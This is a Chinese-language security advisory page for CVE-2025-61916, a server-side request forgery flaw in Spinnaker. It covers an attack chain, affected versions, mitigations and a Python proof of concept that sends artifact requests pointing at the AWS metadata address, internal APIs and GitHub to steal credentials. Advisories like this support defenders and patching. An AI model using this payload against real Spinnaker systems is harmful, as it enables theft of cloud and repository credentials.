IPBUF安全漏洞报告
English
CVE-2025-61916 CVSS 7.9 高危

CVE-2025-61916 Spinnaker服务器端请求伪造漏洞

披露日期: 2026-01-05

漏洞信息

漏洞编号
CVE-2025-61916
漏洞类型
服务器端请求伪造(SSRF)
CVSS评分
7.9 高危
攻击向量
本地 (AV:L)
认证要求
低权限 (PR:L)
用户交互
无需交互 (UI:N)
影响产品
Spinnaker

相关标签

服务器端请求伪造SSRFSpinnaker持续交付平台凭证泄露云安全DevOpsCVE-2025-61916

漏洞概述

CVE-2025-61916是Spinnaker多云持续交付平台中的一个高危服务器端请求伪造(SSRF)漏洞。Spinnaker是一款开源的多云持续交付平台,广泛应用于企业的DevOps流程中。该漏洞允许具有低权限的用户通过特制的artifact配置请求任意远程URL,从而获取敏感数据或调用内部API接口。攻击者可以利用此漏洞获取云元数据服务信息、IDMSv1认证数据,甚至获取GitHub等服务的认证头信息,导致凭据泄露。此漏洞的CVSS评分为7.9,属于高危级别,攻击复杂度低,无需用户交互即可实施攻击。漏洞影响多个版本,在2025.1.6、2025.2.3和2025.3.0版本中已修复。

技术细节

Spinnaker的SSRF漏洞源于其artifact provider对用户输入URL的验证不足。攻击者需要满足两个条件才能利用此漏洞:第一,目标Spinnaker实例必须启用支持用户输入URL的artifact provider(如HTTP artifacts、GitHub file artifacts、BitBucket、GitLab等);第二,系统需要有组件能够消费这些artifact的输出(如Rosco helm用于获取values数据,或K8s账户manifest使用JSON格式响应)。攻击者通过构造恶意的artifact URL,利用Spinnaker的服务器端请求功能访问内部服务(如AWS元数据服务169.254.169.254)、内部API端点或外部敏感资源。获取的数据可以被注入到pipeline中,通过helm或其他方法进一步提取认证凭证。值得注意的是,即使仅启用HTTP artifact provider,也会创建一个no-auth HTTP provider,可用于提取链路本地数据。攻击成功后,认证数据可能被暴露到任意端点。

攻击链分析

STEP 1
步骤1
侦察阶段:攻击者识别目标Spinnaker实例,确认是否启用了HTTP artifact provider或其他支持用户输入URL的artifact provider
STEP 2
步骤2
条件验证:确认Spinnaker环境中存在可消费artifact输出的组件(如Rosco helm、K8s account manifests等)
STEP 3
步骤3
构造恶意artifact:攻击者创建包含恶意URL的artifact(如指向AWS元数据服务169.254.169.254或内部API端点)
STEP 4
步骤4
触发请求伪造:通过pipeline配置或直接调用artifact fetch API,使Spinnaker服务器向攻击者控制的URL发起请求
STEP 5
步骤5
数据提取:获取响应数据后,攻击者利用helm values注入或其他方法将敏感数据(如认证凭证、云凭据)从pipeline中提取
STEP 6
步骤6
横向移动:利用获取的凭据访问内部服务、GitHub仓库或其他受保护资源

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
# CVE-2025-61916 PoC - Spinnaker SSRF Exploitation # This PoC demonstrates how to exploit the SSRF vulnerability in Spinnaker # to fetch AWS metadata or internal API data import requests import json # Configuration SPINNAKER_API = "https://target-spinnaker.example.com" ATTACKER_CONTROLLED_URL = "http://169.254.169.254/latest/meta-data/" def exploit_ssrf(): """ Exploit Spinnaker SSRF to fetch AWS metadata Requires artifact provider with user input URL enabled """ # Step 1: Create a malicious HTTP artifact with SSRF payload malicious_artifact = { "type": "http", "reference": "https://internal-spinnaker-api/spinnaker-api/v2/pipelines", "name": "malicious-artifact" } # Step 2: Alternative payload - AWS metadata extraction aws_metadata_artifact = { "type": "http", "reference": ATTACKER_CONTROLLED_URL, "name": "aws-metadata-artifact" } # Step 3: GitHub auth header extraction github_auth_artifact = { "type": "github/file", "reference": "https://internal-git-api.github.com/repos/secret/repo/contents/config", "name": "github-auth-artifact" } # Send malicious artifact to Spinnaker endpoint = f"{SPINNAKER_API}/artifacts/fetch" payload = { "account": "http-artifact-account", "artifact": malicious_artifact, "version": "latest" } try: response = requests.post(endpoint, json=payload, timeout=30) if response.status_code == 200: print("[+] SSRF Exploit Successful!") print(f"[+] Fetched Data: {response.text[:500]}") return response.text except requests.exceptions.RequestException as e: print(f"[-] Error: {e}") return None if __name__ == "__main__": print("CVE-2025-61916 Spinnaker SSRF PoC") print("=" * 50) exploit_ssrf()

影响范围

Spinnaker < 2025.1.6
Spinnaker < 2025.2.3
Spinnaker < 2025.3.0

防御指南

临时缓解措施
作为临时缓解措施,应立即禁用所有支持用户输入URL的HTTP artifact provider账户。如果业务必须使用HTTP artifact,建议配置严格的白名单策略仅允许预定义的信任域名。同时建议部署OPA策略来检测和阻止包含恶意URL的pipeline配置。对于Git、Docker等artifact类型,由于它们使用显式配置的URL,不受此漏洞影响,可以安全使用。此外,应考虑使用云服务商提供的VPC隔离和网络安全组规则来限制Spinnaker实例对元数据服务和其他内部服务的访问。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表